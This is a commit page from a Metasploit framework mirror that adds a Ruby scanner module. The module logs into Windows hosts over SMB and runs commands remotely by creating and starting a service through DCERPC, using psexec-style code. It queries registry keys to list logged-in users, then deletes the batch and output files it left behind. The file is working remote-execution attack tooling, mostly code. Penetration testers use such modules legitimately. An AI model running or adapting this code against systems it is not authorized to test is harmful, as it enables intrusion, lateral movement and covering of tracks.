infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

New module loggedin_users.rb

unstable
Royce Davis 2012-11-05 16:37:13 -06:00
parent 3236b4c425
commit d5b18114ac
1 changed files with 312 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

312
modules/auxiliary/scanner/smb/loggedin_users.rb Normal file
View File

@ -0,0 +1,312 @@
#!/usr/bin/env ruby
require 'msf/core'
require 'rex'
require 'rex/registry'
require 'fileutils'
class Metasploit3 < Msf::Auxiliary
# Exploit mixins should be called first
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Remote::SMB::Authenticated
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::DCERPC
# Aliases for common classes
SIMPLE = Rex::Proto::SMB::SimpleClient
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
def initialize
super(
'Name' => 'SMB - Query Logged On Users',
'Version' => '$Revision: 14976 $',
'Description' => %Q{
This module authenticates to a remote host or hosts and determines which users are currently logged in. It uses reg.exe
to query the HKU base registry key.
},
'Author' =>
[
'Royce Davis <rdavis[at]accuvant.com>', # Metasploit module
'Twitter: <[at]R3dy__>',
],
'References' => [
['URL', 'http://www.pentestgeek.conm'],
['URL', 'http://www.accuvant.com'],
],
'License' => MSF_LICENSE
)
register_options([
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
OptString.new('RPORT', [true, 'The Target port', 445]),
], self.class)
deregister_options('RHOST')
end
#----------------------------------------
# This is the main controller function
#----------------------------------------
def run_host(ip)
cmd = "C:\\WINDOWS\\SYSTEM32\\cmd.exe"
bat = "C:\\WINDOWS\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
text = "\\WINDOWS\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
smbshare = datastore['SMBSHARE']
#Try and Connect to the target
begin
connect()
rescue
return
end
#Try and authenticate with given credentials
begin
smb_login()
rescue StandardError => autherror
print_error("#{ip} - #{autherror}")
return
end
begin
keys = get_hku(ip, smbshare, cmd, text, bat)
keys.each do |key|
check_hku_entry(key, ip, smbshare, cmd, text, bat)
end
cleanup_after(smbshare, ip, cmd, text, bat)
rescue StandardError => bang
print_error("#{ip} - There was an error #{bang}")
return bang
end
end
#---------------------------------------------------------------------------------------
# This method runs reg.exe query HKU to get a list of each key within the HKU master key
# Returns an array object
#---------------------------------------------------------------------------------------
def get_hku(ip, smbshare, cmd, text, bat)
begin
# Try and query HKU
command = "#{cmd} /C echo reg.exe QUERY HKU ^> C:#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
simple.connect(smbshare)
psexec(smbshare, command)
output = get_output(ip, smbshare, text)
cleanout = Array.new
output.each_line { |line| cleanout << line.chomp if line.include?("HKEY") && line.split("-").size == 8 && !line.split("-")[7].include?("_")}
return cleanout
rescue StandardError => hku_error
print_error("#{ip} - Error runigy query against HKU. #{hku_error.class}. #{hku_error}")
return hku_error
end
end
#-----------------------------------------------------------------------------
# This method will retrive output from a specified textfile on the remote host
#-----------------------------------------------------------------------------
def get_output(ip, smbshare, file)
begin
simple.connect("\\\\#{ip}\\#{smbshare}")
outfile = simple.open(file, 'ro')
output = outfile.read
outfile.close
simple.disconnect("\\\\#{ip}\\#{smbshare}")
return output
rescue StandardError => output_error
print_error("#{ip} - Error getting command output. #{output_error.class}. #{output_error}.")
return
end
end
#--------------------------------------------------------------------------
# This method checks a provided HKU entry to determine if it is a valid SID
# Either returns nil or returns the name of a valid user
#--------------------------------------------------------------------------
def check_hku_entry(key, ip, smbshare, cmd, text, bat)
begin
key = key.split("HKEY_USERS\\")[1].chomp
command = "#{cmd} /C echo reg.exe QUERY \"HKU\\#{key}\\Volatile Environment\" ^> C:#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
simple.connect(smbshare)
psexec(smbshare, command)
output = get_output(ip, smbshare, text)
domain, username = "",""
output.each_line do |line|
domain << line if line.include?("USERDOMAIN")
username << line if line.include?("USERNAME")
end
if username && domain
print_good("#{ip} - #{domain.split(" ")[2].to_s}\\#{username.split(" ")[2].to_s}")
end
rescue StandardError => check_error
print_error("#{ip} - Error checking reg key. #{check_error.class}. #{check_error}")
return check_error
end
end
def cleanup_after(smbshare, ip, cmd, text, bat)
begin
# Try and do cleanup command
cleanup = "#{cmd} /C del C:#{text} & del #{bat}"
simple.connect(smbshare)
print_status("Executing cleanup on host: #{ip}")
psexec(smbshare, cleanup)
rescue StandardError => cleanuperror
print_error("Unable to processes cleanup commands: #{cleanuperror}")
return cleanuperror
end
end
#------------------------------------------------------------------------------------------------------------------------
# This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!!
# Instead of uploading and runing a binary. This method runs a single windows command fed into the #{command} paramater
#------------------------------------------------------------------------------------------------------------------------
def psexec(smbshare, command)
filename = "filename"
servicename = "servicename"
simple.disconnect(smbshare)
simple.connect("IPC$")
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
vprint_status("Binding to #{handle} ...")
dcerpc_bind(handle)
vprint_status("Bound to #{handle} ...")
vprint_status("Obtaining a service manager handle...")
scm_handle = nil
stubdata =
NDR.uwstring("\\\\#{rhost}") +
NDR.long(0) +
NDR.long(0xF003F)
begin
response = dcerpc.call(0x0f, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
scm_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
displayname = "displayname"
holdhandle = scm_handle
svc_handle = nil
svc_status = nil
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.uwstring(displayname) +
NDR.long(0x0F01FF) + # Access: MAX
NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore
NDR.wstring( command ) +
NDR.long(0) + # LoadOrderGroup
NDR.long(0) + # Dependencies
NDR.long(0) + # Service Start
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) # Password
begin
vprint_status("Attempting to execute #{command}")
response = dcerpc.call(0x0c, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
svc_status = dcerpc.last_response.stub_data[24,4]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
vprint_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception
end
vprint_status("Opening service...")
begin
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.long(0xF01FF)
response = dcerpc.call(0x10, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
vprint_status("Starting the service...")
stubdata =
svc_handle +
NDR.long(0) +
NDR.long(0)
begin
response = dcerpc.call(0x13, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
vprint_status("Removing the service...")
stubdata =
svc_handle +
NDR.wstring("C:\\WINDOWS\\Temp\\sam")
begin
response = dcerpc.call(0x02, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
print_error("Error: #{e}")
end
vprint_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception => e
print_error("Error: #{e}")
end
begin
#print_status("Deleting \\#{filename}...")
select(nil, nil, nil, 1.0)
#This is not really useful but will prevent double \\ on the wire :)
if datastore['SHARE'] =~ /.[\\\/]/
simple.connect(smbshare)
simple.delete("C:\\WINDOWS\\Temp\\sam")
else
simple.connect(smbshare)
simple.delete("C:\\WINDOWS\\Temp\\sam")
end
rescue ::Interrupt
raise $!
rescue ::Exception
#raise $!
end
simple.disconnect("IPC$")
simple.disconnect(smbshare)
end
end